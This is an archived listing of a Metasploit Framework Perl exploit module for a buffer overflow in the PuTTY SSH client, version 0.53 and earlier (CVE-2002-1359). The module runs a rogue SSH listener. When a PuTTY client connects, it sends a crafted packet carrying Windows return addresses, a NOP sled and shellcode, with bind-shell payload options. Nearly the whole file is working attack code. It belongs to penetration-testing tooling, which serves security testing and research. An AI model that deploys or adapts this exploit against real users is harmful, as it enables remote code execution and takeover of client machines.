home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / putty_ssh.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  156 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::putty_ssh;
  10.  
  11. use strict;
  12. use base "Msf::Exploit";
  13. use Pex::Text;
  14. use IO::Socket::INET;
  15. use  POSIX;
  16.  
  17. my $advanced =
  18.   {
  19.   };
  20.  
  21. my $info =
  22.   {
  23.     'Name'           => 'PuTTy.exe <= v0.53 Buffer Overflow',
  24.     'Version'        => '$Revision: 1.1 $',
  25.     'Authors'        => [ 'y0 [at] w00t-shell.net' ],
  26.     'Description'    =>
  27.       Pex::Text::Freeform(qq{
  28.         This module exploits a buffer overflow in the PuTTY SSH client that is triggered
  29.         through a validation error in SSH.c.
  30. }),
  31.  
  32.     'Arch'           => [ 'x86' ],
  33.     'OS'             => [ 'win32', 'winxp', 'win2000', 'win2003' ],
  34.     'Priv'           => 0,
  35.  
  36.     'UserOpts'       =>
  37.       {
  38.         'SSHDPORT'   => [ 1, 'PORT', 'The local SSHD listener port',  22         ],
  39.         'SSHSERVER'  =>  [ 1, 'HOST', 'The local SSHD listener host', "0.0.0.0"  ],
  40.       },
  41.  
  42.     'AutoOpts' => { 'EXITFUNC' => 'process' },
  43.  
  44.     'Payload'      =>
  45.       {
  46.         'Space'    => 400,
  47.         'BadChars' => "\x00",
  48.         'Prepend'  => "\x81\xc4\xff\xef\xff\xff\x44",
  49.         'MaxNops'  => 0,
  50.         'Keys'     => [ '-ws2ord', '-bind' ],
  51.       },
  52.  
  53.     'Refs'            =>
  54.       [
  55.         [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
  56.         [ 'CVE', '2002-1359' ],
  57.  
  58.       ],
  59.  
  60.     'DefaultTarget'  => 0,
  61.  
  62.     'Targets'        =>
  63.       [
  64.         [ 'Windows 2000 SP4 English',   0x77e14c29 ],
  65.         [ 'Windows XP SP2 English',     0x76b43ae0 ],
  66.         [ 'Windows 2003 SP1 English',   0x76AA679b ],
  67.       ],
  68.  
  69.     'Keys'           => [ 'putty' ],
  70.  
  71.     'DisclosureDate' => 'December 16 2002',
  72.   };
  73.  
  74. sub new
  75. {
  76.     my $class = shift;
  77.     my $self;
  78.  
  79.     $self = $class->SUPER::new(
  80.         {
  81.             'Info'     => $info,
  82.             'Advanced' => $advanced,
  83.         },
  84.         @_);
  85.  
  86.     return $self;
  87. }
  88.  
  89. sub Exploit
  90. {
  91.     my $self = shift;
  92.     my $server = IO::Socket::INET->new(
  93.         LocalHost => $self->GetVar('SSHSERVER'),
  94.         LocalPort => $self->GetVar('SSHDPORT'),
  95.         ReuseAddr => 1,
  96.         Listen    => 1,
  97.         Proto     => 'tcp');
  98.     my $client;
  99.  
  100.     # Did the listener create fail?
  101.     if (not defined($server))
  102.     {
  103.         $self->PrintLine("[-] Failed to create local SSHD listener on " . $self->GetVar('SSHDPORT'));
  104.         return;
  105.     }
  106.  
  107.     $self->PrintLine("[*] Waiting for connections to " . $self->GetVar('SSHSERVER') . ":" . $self->GetVar('SSHDPORT') . "...");
  108.  
  109.     while (defined($client = $server->accept()))
  110.     {
  111.         $self->HandlePuttyClient(fd => Msf::Socket::Tcp->new_from_socket($client));
  112.     }
  113.  
  114.     return;
  115. }
  116.  
  117. sub HandlePuttyClient
  118. {
  119.     my $self = shift;
  120.     my ($fd) = @{{@_}}{qw/fd/};
  121.     my $target    = $self->Targets->[$self->GetVar('TARGET')];
  122.     my $shellcode = $self->GetVar('EncodedPayload')->Payload;
  123.     my $rhost;
  124.     my $rport;
  125.  
  126.     # Set the remote host information
  127.     ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
  128.  
  129.     my $sploit =
  130.       "SSH-2.0-OpenSSH_3.6.1p2\r\n".
  131.       "\x00\x00\x4e\xec\x01\x14".
  132.       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  133.       "\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".
  134.       (((((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde") x 2).
  135.       (((Pex::Text::AlphaNumText(64)). ",") x 2). Pex::Text::AlphaNumText(21).
  136.       pack('V', $target->[1]). $self->MakeNops(10). $shellcode.
  137.       (((Pex::Text::AlphaNumText(64)). ",") x 15). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde".
  138.       (((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde".
  139.       (((Pex::Text::AlphaNumText(64)). ",") x 21). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde".
  140.       (((((Pex::Text::AlphaNumText(64)). ",") x 30). Pex::Text::AlphaNumText(64). "\x00\x00\x07\xde") x 6).
  141.       "\x00\x00\x00\x00\x00\x00";
  142.  
  143.     $self->PrintLine("[*] Client connected from $rhost:$rport...");
  144.  
  145.     $fd->Send($sploit);
  146.  
  147.     $self->PrintLine("[*] Sending ". length($sploit). " bytes to remote host...");
  148.  
  149.     $self->Handler($fd);
  150.  
  151.     $fd->Close();
  152. }
  153.  
  154. 1;
  155.  
  156.